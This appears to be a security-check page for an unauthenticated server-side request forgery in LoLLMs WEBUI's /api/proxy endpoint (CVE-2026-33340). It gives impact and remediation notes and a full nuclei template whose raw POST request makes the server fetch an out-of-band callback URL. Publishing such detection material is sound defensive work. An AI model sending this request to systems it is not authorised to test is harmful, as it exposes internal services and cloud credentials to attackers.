LoLLMs WEBUI - Server-Side Request Forgery

criticalseverity

9.1CVSS score

22.1%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

LoLLMs WEBUI contains a server-side request forgery caused by unauthenticated access to the /api/proxy endpoint, letting attackers force the server to make arbitrary GET requests, exploit requires no authentication.

Impact

Attackers can access internal services, scan local networks, or exfiltrate sensitive cloud metadata, potentially leading to data exposure and further compromise.

Fix

Update to a patched version once available or apply mitigations to restrict server-side requests.

How to confirm it

Send: POST /api/proxy
Positive when: contains(content_type, "application/json") and contains(interactsh_protocol, "http") and contains(body, "{\"content\":\"") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-33340 -u <target>

The full check

id: CVE-2026-33340

info:
  name: LoLLMs WEBUI - Server-Side Request Forgery
  author: theamanrawat
  severity: critical
  description: |
    LoLLMs WEBUI contains a server-side request forgery caused by unauthenticated access to the /api/proxy endpoint, letting attackers force the server to make arbitrary GET requests, exploit requires no authentication.
  impact: |
    Attackers can access internal services, scan local networks, or exfiltrate sensitive cloud metadata, potentially leading to data exposure and further compromise.
  remediation: |
    Update to a patched version once available or apply mitigations to restrict server-side requests.
  reference:
    - https://github.com/ParisNeo/lollms-webui/security/advisories/GHSA-mcwr-5469-pxj4
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33340
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-33340
    epss-score: 0.22069
    epss-percentile: 0.97685
    cwe-id: CWE-306
  metadata:
    max-requests: 1
    verified: true
  tags: cve,cve2026,lollms,ssrf

http:
  - raw:
      - |
        POST /api/proxy HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"url": "http://{{interactsh-url}}"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/json")'
          - 'contains(interactsh_protocol, "http")'
          - 'contains(body, "{\"content\":\"")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from